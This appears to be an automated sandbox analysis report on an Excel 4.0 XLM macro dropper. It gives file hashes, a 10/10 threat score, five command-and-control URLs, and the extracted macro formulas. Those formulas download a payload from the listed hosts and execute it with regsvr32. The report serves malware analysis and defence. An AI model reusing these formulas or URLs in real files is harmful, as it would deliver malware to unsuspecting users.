General

  • Target

    73cc4ece7d778f59f121687bd88265cd42d243f959130a3147ff134edbd3657c

  • Size

    90KB

  • Sample

    241120-vjm8qazlft

  • MD5

    5c9b0703071829308a56f4ecb21b3726

  • SHA1

    9896012f21fe5b06a4fa185d63475626e0623450

  • SHA256

    73cc4ece7d778f59f121687bd88265cd42d243f959130a3147ff134edbd3657c

  • SHA512

    bf2f90a6a7083cccd10581e5885940aa50b13023f78adbaec008a9e34cf5327c915a54e11549c65a2e0b4b26dcfc7dc6c772b7abcaca474f557c0fafbaab7ad8

  • SSDEEP

    1536:/QBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:WDpyVEoBo6hKb4llGsQjbxfd

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

Targets

    • Target

      73cc4ece7d778f59f121687bd88265cd42d243f959130a3147ff134edbd3657c

    • Size

      90KB

    • MD5

      5c9b0703071829308a56f4ecb21b3726

    • SHA1

      9896012f21fe5b06a4fa185d63475626e0623450

    • SHA256

      73cc4ece7d778f59f121687bd88265cd42d243f959130a3147ff134edbd3657c

    • SHA512

      bf2f90a6a7083cccd10581e5885940aa50b13023f78adbaec008a9e34cf5327c915a54e11549c65a2e0b4b26dcfc7dc6c772b7abcaca474f557c0fafbaab7ad8

    • SSDEEP

      1536:/QBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:WDpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks